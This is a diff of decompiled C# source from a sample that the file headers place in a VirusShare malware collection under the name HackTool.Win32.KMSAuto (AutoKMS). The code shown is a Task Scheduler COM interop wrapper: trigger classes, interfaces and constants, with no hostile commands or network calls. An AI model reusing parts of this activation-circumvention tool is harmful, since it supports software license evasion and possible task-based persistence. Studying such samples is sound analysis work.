Marshal.ReleaseComObject((object) this.iTaskTrigger);
|
||||
this.iTaskTrigger = (ITaskTrigger) null;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return "Unbound " + this.GetType().ToString();
|
||||
IntPtr TriggerString;
|
||||
this.iTaskTrigger.GetTriggerString(out TriggerString);
|
||||
return CoTaskMem.LPWStrToString(TriggerString);
|
||||
}
|
||||
|
||||
public override bool Equals(object obj) => this.taskTrigger.Equals((object) ((Trigger) obj).taskTrigger);
|
||||
|
||||
public override int GetHashCode() => this.taskTrigger.GetHashCode();
|
||||
|
||||
[Flags]
|
||||
private enum TaskTriggerFlags
|
||||
{
|
||||
HasEndDate = 1,
|
||||
KillAtDurationEnd = 2,
|
||||
Disabled = 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TriggerList
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class TriggerList : IList, ICollection, IEnumerable, IDisposable
|
||||
{
|
||||
private ITask iTask;
|
||||
private ArrayList oTriggers;
|
||||
|
||||
internal TriggerList(ITask iTask)
|
||||
{
|
||||
this.iTask = iTask;
|
||||
ushort Count = 0;
|
||||
iTask.GetTriggerCount(out Count);
|
||||
this.oTriggers = new ArrayList((int) Count + 5);
|
||||
for (int TriggerIndex = 0; TriggerIndex < (int) Count; ++TriggerIndex)
|
||||
{
|
||||
ITaskTrigger Trigger;
|
||||
iTask.GetTrigger((ushort) TriggerIndex, out Trigger);
|
||||
this.oTriggers.Add((object) Trigger.CreateTrigger(Trigger));
|
||||
}
|
||||
}
|
||||
|
||||
public void RemoveAt(int index)
|
||||
{
|
||||
if (index >= this.Count)
|
||||
throw new ArgumentOutOfRangeException(nameof (index), (object) index, "Failed to remove Trigger. Index out of range.");
|
||||
((Trigger) this.oTriggers[index]).Unbind();
|
||||
this.oTriggers.RemoveAt(index);
|
||||
this.iTask.DeleteTrigger((ushort) index);
|
||||
}
|
||||
|
||||
void IList.Insert(int index, object value) => throw new NotImplementedException("TriggerList does not support Insert().");
|
||||
|
||||
public void Remove(Trigger trigger)
|
||||
{
|
||||
int index = this.IndexOf(trigger);
|
||||
if (index == -1)
|
||||
return;
|
||||
this.RemoveAt(index);
|
||||
}
|
||||
|
||||
void IList.Remove(object value) => this.Remove(value as Trigger);
|
||||
|
||||
public bool Contains(Trigger trigger) => this.IndexOf(trigger) != -1;
|
||||
|
||||
bool IList.Contains(object value) => this.Contains(value as Trigger);
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
for (int index = this.Count - 1; index >= 0; --index)
|
||||
this.RemoveAt(index);
|
||||
}
|
||||
|
||||
public int IndexOf(Trigger trigger)
|
||||
{
|
||||
for (int index = 0; index < this.Count; ++index)
|
||||
{
|
||||
if (this[index].Equals((object) trigger))
|
||||
return index;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int IList.IndexOf(object value) => this.IndexOf(value as Trigger);
|
||||
|
||||
public int Add(Trigger trigger)
|
||||
{
|
||||
if (trigger.Bound)
|
||||
throw new ArgumentException("A Trigger cannot be added if it is already in a list.");
|
||||
ushort NewTriggerIndex;
|
||||
ITaskTrigger Trigger;
|
||||
this.iTask.CreateTrigger(out NewTriggerIndex, out Trigger);
|
||||
trigger.Bind(Trigger);
|
||||
if (this.oTriggers.Add((object) trigger) != (int) NewTriggerIndex)
|
||||
throw new ApplicationException("Assertion Failure");
|
||||
return (int) NewTriggerIndex;
|
||||
}
|
||||
|
||||
int IList.Add(object value) => this.Add(value as Trigger);
|
||||
|
||||
public bool IsReadOnly => false;
|
||||
|
||||
public Trigger this[int index]
|
||||
{
|
||||
get => index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
|
||||
set
|
||||
{
|
||||
Trigger trigger = index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
|
||||
value.Bind(trigger);
|
||||
this.oTriggers[index] = (object) value;
|
||||
}
|
||||
}
|
||||
|
||||
object IList.this[int index]
|
||||
{
|
||||
get => (object) this[index];
|
||||
set => this[index] = value as Trigger;
|
||||
}
|
||||
|
||||
public bool IsFixedSize => false;
|
||||
|
||||
public int Count => this.oTriggers.Count;
|
||||
|
||||
public void CopyTo(Array array, int index)
|
||||
{
|
||||
if (this.oTriggers.Count > array.Length - index)
|
||||
throw new ArgumentException("Array has insufficient space to copy the collection.");
|
||||
for (int index1 = 0; index1 < this.oTriggers.Count; ++index1)
|
||||
array.SetValue(((Trigger) this.oTriggers[index1]).Clone(), index + index1);
|
||||
}
|
||||
|
||||
public bool IsSynchronized => false;
|
||||
|
||||
public object SyncRoot => (object) null;
|
||||
|
||||
public IEnumerator GetEnumerator() => (IEnumerator) new TriggerList.Enumerator(this);
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
foreach (Trigger oTrigger in this.oTriggers)
|
||||
oTrigger.Unbind();
|
||||
this.oTriggers = (ArrayList) null;
|
||||
this.iTask = (ITask) null;
|
||||
}
|
||||
|
||||
private class Enumerator : IEnumerator
|
||||
{
|
||||
private TriggerList outer;
|
||||
private int currentIndex;
|
||||
|
||||
internal Enumerator(TriggerList outer)
|
||||
{
|
||||
this.outer = outer;
|
||||
this.Reset();
|
||||
}
|
||||
|
||||
public bool MoveNext() => ++this.currentIndex < this.outer.oTriggers.Count;
|
||||
|
||||
public void Reset() => this.currentIndex = -1;
|
||||
|
||||
public object Current => this.outer.oTriggers[this.currentIndex];
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TriggerType
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
internal enum TriggerType
|
||||
{
|
||||
RunOnce,
|
||||
RunDaily,
|
||||
RunWeekly,
|
||||
RunMonthly,
|
||||
RunMonthlyDOW,
|
||||
OnIdle,
|
||||
OnSystemStart,
|
||||
OnLogon,
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.WeeklyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class WeeklyTrigger : StartableTrigger
|
||||
{
|
||||
public WeeklyTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
short weeksInterval)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_WEEKLY;
|
||||
this.taskTrigger.Data.weekly.WeeksInterval = (ushort) weeksInterval;
|
||||
this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) daysOfTheWeek;
|
||||
}
|
||||
|
||||
public WeeklyTrigger(short hour, short minutes, DaysOfTheWeek daysOfTheWeek)
|
||||
: this(hour, minutes, daysOfTheWeek, (short) 1)
|
||||
{
|
||||
}
|
||||
|
||||
internal WeeklyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short WeeksInterval
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.weekly.WeeksInterval;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.weekly.WeeksInterval = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DaysOfTheWeek WeekDays
|
||||
{
|
||||
get => (DaysOfTheWeek) this.taskTrigger.Data.weekly.DaysOfTheWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.WhichWeek
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public enum WhichWeek : short
|
||||
{
|
||||
FirstWeek = 1,
|
||||
SecondWeek = 2,
|
||||
ThirdWeek = 3,
|
||||
FourthWeek = 4,
|
||||
LastWeek = 5,
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CTask
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD520-A2AB-11CE-B11F-00AA00530503")]
|
||||
[ComImport]
|
||||
internal class CTask
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
|
||||
public extern CTask();
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CTaskScheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD52A-A2AB-11CE-B11F-00AA00530503")]
|
||||
[ComImport]
|
||||
internal class CTaskScheduler
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
|
||||
public extern CTaskScheduler();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CoTaskMem
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class CoTaskMem
|
||||
{
|
||||
public static string LPWStrToString(IntPtr lpwstr)
|
||||
{
|
||||
string stringUni = Marshal.PtrToStringUni(lpwstr);
|
||||
Marshal.FreeCoTaskMem(lpwstr);
|
||||
return stringUni;
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.Daily
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct Daily
|
||||
{
|
||||
public ushort DaysInterval;
|
||||
}
|
||||
}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.HResult
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class HResult
|
||||
{
|
||||
public const int SCHED_S_TASK_READY = 267008;
|
||||
public const int SCHED_S_TASK_RUNNING = 267009;
|
||||
public const int SCHED_S_TASK_DISABLED = 267010;
|
||||
public const int SCHED_S_TASK_HAS_NOT_RUN = 267011;
|
||||
public const int SCHED_S_TASK_NO_MORE_RUNS = 267012;
|
||||
public const int SCHED_S_TASK_NOT_SCHEDULED = 267013;
|
||||
public const int SCHED_S_TASK_TERMINATED = 267014;
|
||||
public const int SCHED_S_TASK_NO_VALID_TRIGGERS = 267015;
|
||||
public const int SCHED_S_EVENT_TRIGGER = 267016;
|
||||
public const int SCHED_E_TRIGGER_NOT_FOUND = -2147216631;
|
||||
public const int SCHED_E_TASK_NOT_READY = -2147216630;
|
||||
public const int SCHED_E_TASK_NOT_RUNNING = -2147216629;
|
||||
public const int SCHED_E_SERVICE_NOT_INSTALLED = -2147216628;
|
||||
public const int SCHED_E_CANNOT_OPEN_TASK = -2147216627;
|
||||
public const int SCHED_E_INVALID_TASK = -2147216626;
|
||||
public const int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = -2147216625;
|
||||
public const int SCHED_E_ACCOUNT_NAME_NOT_FOUND = -2147216624;
|
||||
public const int SCHED_E_ACCOUNT_DBASE_CORRUPT = -2147216623;
|
||||
public const int SCHED_E_NO_SECURITY_SERVICES = -2147216622;
|
||||
public const int SCHED_E_UNKNOWN_OBJECT_VERSION = -2147216621;
|
||||
public const int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = -2147216620;
|
||||
public const int SCHED_E_SERVICE_NOT_RUNNING = -2147216619;
|
||||
public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = -2147216618;
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.IEnumWorkItems
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD528-A2AB-11CE-B11F-00AA00530503")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IEnumWorkItems
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.PreserveSig)]
|
||||
int Next([In] uint RequestCount, out IntPtr Names, out uint Fetched);
|
||||
|
||||
void Skip([In] uint Count);
|
||||
|
||||
void Reset();
|
||||
|
||||
void Clone([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.IProvideTaskPage
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("4086658a-cbbb-11cf-b604-00c04fd8d565")]
|
||||
internal interface IProvideTaskPage
|
||||
{
|
||||
void GetPage([In] int tpType, [In] bool fPersistChanges, out IntPtr phPage);
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITask
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("148BD524-A2AB-11CE-B11F-00AA00530503")]
|
||||
internal interface ITask
|
||||
{
|
||||
void CreateTrigger(out ushort NewTriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
|
||||
|
||||
void DeleteTrigger([In] ushort TriggerIndex);
|
||||
|
||||
void GetTriggerCount(out ushort Count);
|
||||
|
||||
void GetTrigger([In] ushort TriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
|
||||
|
||||
void GetTriggerString([In] ushort TriggerIndex, out IntPtr TriggerString);
|
||||
|
||||
void GetRunTimes(
|
||||
[MarshalAs(UnmanagedType.Struct), In] ref SystemTime Begin,
|
||||
[MarshalAs(UnmanagedType.Struct), In] ref SystemTime End,
|
||||
ref ushort Count,
|
||||
out IntPtr TaskTimes);
|
||||
|
||||
void GetNextRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime NextRun);
|
||||
|
||||
void SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes);
|
||||
|
||||
void GetIdleWait(out ushort IdleMinutes, out ushort DeadlineMinutes);
|
||||
|
||||
void Run();
|
||||
|
||||
void Terminate();
|
||||
|
||||
void EditWorkItem([In] uint hParent, [In] uint dwReserved);
|
||||
|
||||
void GetMostRecentRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime LastRun);
|
||||
|
||||
void GetStatus([MarshalAs(UnmanagedType.Error)] out int Status);
|
||||
|
||||
void GetExitCode(out uint ExitCode);
|
||||
|
||||
void SetComment([MarshalAs(UnmanagedType.LPWStr), In] string Comment);
|
||||
|
||||
void GetComment(out IntPtr Comment);
|
||||
|
||||
void SetCreator([MarshalAs(UnmanagedType.LPWStr), In] string Creator);
|
||||
|
||||
void GetCreator(out IntPtr Creator);
|
||||
|
||||
void SetWorkItemData([In] ushort DataLen, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U1), In] byte[] Data);
|
||||
|
||||
void GetWorkItemData(out ushort DataLen, out IntPtr Data);
|
||||
|
||||
void SetErrorRetryCount([In] ushort RetryCount);
|
||||
|
||||
void GetErrorRetryCount(out ushort RetryCount);
|
||||
|
||||
void SetErrorRetryInterval([In] ushort RetryInterval);
|
||||
|
||||
void GetErrorRetryInterval(out ushort RetryInterval);
|
||||
|
||||
void SetFlags([In] uint Flags);
|
||||
|
||||
void GetFlags(out uint Flags);
|
||||
|
||||
void SetAccountInformation([MarshalAs(UnmanagedType.LPWStr), In] string AccountName, [In] IntPtr Password);
|
||||
|
||||
void GetAccountInformation(out IntPtr AccountName);
|
||||
|
||||
void SetApplicationName([MarshalAs(UnmanagedType.LPWStr), In] string ApplicationName);
|
||||
|
||||
void GetApplicationName(out IntPtr ApplicationName);
|
||||
|
||||
void SetParameters([MarshalAs(UnmanagedType.LPWStr), In] string Parameters);
|
||||
|
||||
void GetParameters(out IntPtr Parameters);
|
||||
|
||||
void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr), In] string WorkingDirectory);
|
||||
|
||||
void GetWorkingDirectory(out IntPtr WorkingDirectory);
|
||||
|
||||
void SetPriority([In] uint Priority);
|
||||
|
||||
void GetPriority(out uint Priority);
|
||||
|
||||
void SetTaskFlags([In] uint Flags);
|
||||
|
||||
void GetTaskFlags(out uint Flags);
|
||||
|
||||
void SetMaxRunTime([In] uint MaxRunTimeMS);
|
||||
|
||||
void GetMaxRunTime(out uint MaxRunTimeMS);
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITaskScheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("148BD527-A2AB-11CE-B11F-00AA00530503")]
|
||||
internal interface ITaskScheduler
|
||||
{
|
||||
void SetTargetComputer([MarshalAs(UnmanagedType.LPWStr), In] string Computer);
|
||||
|
||||
void GetTargetComputer(out IntPtr Computer);
|
||||
|
||||
void Enum([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
|
||||
|
||||
void Activate([MarshalAs(UnmanagedType.LPWStr), In] string Name, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
|
||||
|
||||
void Delete([MarshalAs(UnmanagedType.LPWStr), In] string Name);
|
||||
|
||||
void NewWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid rclsid, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
|
||||
|
||||
void AddWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [MarshalAs(UnmanagedType.Interface), In] ITask WorkItem);
|
||||
|
||||
void IsOfType([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid riid);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITaskTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD52B-A2AB-11CE-B11F-00AA00530503")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ITaskTrigger
|
||||
{
|
||||
void SetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
|
||||
|
||||
void GetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
|
||||
|
||||
void GetTriggerString(out IntPtr TriggerString);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.MonthlyDOW
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct MonthlyDOW
|
||||
{
|
||||
public ushort WhichWeek;
|
||||
public ushort DaysOfTheWeek;
|
||||
public ushort Months;
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.MonthlyDate
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct MonthlyDate
|
||||
{
|
||||
public uint Days;
|
||||
public ushort Months;
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropSheetFlags
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Flags]
|
||||
internal enum PropSheetFlags : uint
|
||||
{
|
||||
PSH_DEFAULT = 0,
|
||||
PSH_PROPTITLE = 1,
|
||||
PSH_USEHICON = 2,
|
||||
PSH_USEICONID = 4,
|
||||
PSH_PROPSHEETPAGE = 8,
|
||||
PSH_WIZARDHASFINISH = 16, // 0x00000010
|
||||
PSH_WIZARD = 32, // 0x00000020
|
||||
PSH_USEPSTARTPAGE = 64, // 0x00000040
|
||||
PSH_NOAPPLYNOW = 128, // 0x00000080
|
||||
PSH_USECALLBACK = 256, // 0x00000100
|
||||
PSH_HASHELP = 512, // 0x00000200
|
||||
PSH_MODELESS = 1024, // 0x00000400
|
||||
PSH_RTLREADING = 2048, // 0x00000800
|
||||
PSH_WIZARDCONTEXTHELP = 4096, // 0x00001000
|
||||
PSH_WIZARD97 = 16777216, // 0x01000000
|
||||
PSH_WATERMARK = 32768, // 0x00008000
|
||||
PSH_USEHBMWATERMARK = 65536, // 0x00010000
|
||||
PSH_USEHPLWATERMARK = 131072, // 0x00020000
|
||||
PSH_STRETCHWATERMARK = 262144, // 0x00040000
|
||||
PSH_HEADER = 524288, // 0x00080000
|
||||
PSH_USEHBMHEADER = 1048576, // 0x00100000
|
||||
PSH_USEPAGELANG = 2097152, // 0x00200000
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropSheetHeader
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct PropSheetHeader
|
||||
{
|
||||
public uint dwSize;
|
||||
public uint dwFlags;
|
||||
public IntPtr hwndParent;
|
